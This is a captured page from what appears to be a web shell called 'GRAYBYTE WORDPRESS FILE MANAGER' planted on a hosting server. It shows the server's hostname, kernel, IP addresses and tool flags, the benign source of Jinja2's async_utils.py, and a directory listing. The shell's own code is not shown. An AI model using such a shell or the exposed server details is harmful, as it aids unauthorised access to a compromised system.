✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server303.web-hosting.com ​🇻​♯➤ 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 199.188.205.31 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.79
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/jinja2//async_utils.py
import inspect
import typing as t
from functools import wraps

from .utils import _PassArg
from .utils import pass_eval_context

V = t.TypeVar("V")


def async_variant(normal_func):  # type: ignore
    def decorator(async_func):  # type: ignore
        pass_arg = _PassArg.from_obj(normal_func)
        need_eval_context = pass_arg is None

        if pass_arg is _PassArg.environment:

            def is_async(args: t.Any) -> bool:
                return t.cast(bool, args[0].is_async)

        else:

            def is_async(args: t.Any) -> bool:
                return t.cast(bool, args[0].environment.is_async)

        @wraps(normal_func)
        def wrapper(*args, **kwargs):  # type: ignore
            b = is_async(args)

            if need_eval_context:
                args = args[1:]

            if b:
                return async_func(*args, **kwargs)

            return normal_func(*args, **kwargs)

        if need_eval_context:
            wrapper = pass_eval_context(wrapper)

        wrapper.jinja_async_variant = True
        return wrapper

    return decorator


_common_primitives = {int, float, bool, str, list, dict, tuple, type(None)}


async def auto_await(value: t.Union[t.Awaitable["V"], "V"]) -> "V":
    # Avoid a costly call to isawaitable
    if type(value) in _common_primitives:
        return t.cast("V", value)

    if inspect.isawaitable(value):
        return await t.cast("t.Awaitable[V]", value)

    return t.cast("V", value)


async def auto_aiter(
    iterable: "t.Union[t.AsyncIterable[V], t.Iterable[V]]",
) -> "t.AsyncIterator[V]":
    if hasattr(iterable, "__aiter__"):
        async for item in t.cast("t.AsyncIterable[V]", iterable):
            yield item
    else:
        for item in t.cast("t.Iterable[V]", iterable):
            yield item


async def auto_to_list(
    value: "t.Union[t.AsyncIterable[V], t.Iterable[V]]",
) -> t.List["V"]:
    return [x async for x in auto_aiter(value)]


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jun 2026 8.32 AM
root / root
0755
__pycache__
--
5 Feb 2026 9.33 AM
root / root
0755
__init__.py
2.153 KB
20 Jan 2026 1.01 PM
root / root
0644
_identifier.py
1.733 KB
20 Jan 2026 1.01 PM
root / root
0644
async_utils.py
1.901 KB
20 Jan 2026 1.01 PM
root / root
0644
bccache.py
12.373 KB
20 Jan 2026 1.01 PM
root / root
0644
compiler.py
70.517 KB
20 Jan 2026 1.01 PM
root / root
0644
constants.py
1.399 KB
20 Jan 2026 1.01 PM
root / root
0644
debug.py
8.295 KB
20 Jan 2026 1.01 PM
root / root
0644
defaults.py
1.237 KB
20 Jan 2026 1.01 PM
root / root
0644
environment.py
59.554 KB
20 Jan 2026 1.01 PM
root / root
0644
exceptions.py
4.952 KB
20 Jan 2026 1.01 PM
root / root
0644
ext.py
31.369 KB
20 Jan 2026 1.01 PM
root / root
0644
filters.py
51.376 KB
20 Jan 2026 1.01 PM
root / root
0644
idtracking.py
10.47 KB
20 Jan 2026 1.01 PM
root / root
0644
lexer.py
29.229 KB
20 Jan 2026 1.01 PM
root / root
0644
loaders.py
22.221 KB
20 Jan 2026 1.01 PM
root / root
0644
meta.py
4.293 KB
20 Jan 2026 1.01 PM
root / root
0644
nativetypes.py
3.876 KB
20 Jan 2026 1.01 PM
root / root
0644
nodes.py
33.74 KB
20 Jan 2026 1.01 PM
root / root
0644
optimizer.py
1.611 KB
20 Jan 2026 1.01 PM
root / root
0644
parser.py
38.835 KB
20 Jan 2026 1.01 PM
root / root
0644
py.typed
0 KB
20 Jan 2026 1.01 PM
root / root
0644
runtime.py
34.232 KB
20 Jan 2026 1.01 PM
root / root
0644
sandbox.py
14.258 KB
20 Jan 2026 1.01 PM
root / root
0644
tests.py
5.767 KB
20 Jan 2026 1.01 PM
root / root
0644
utils.py
26.339 KB
20 Jan 2026 1.01 PM
root / root
0644
visitor.py
3.488 KB
20 Jan 2026 1.01 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF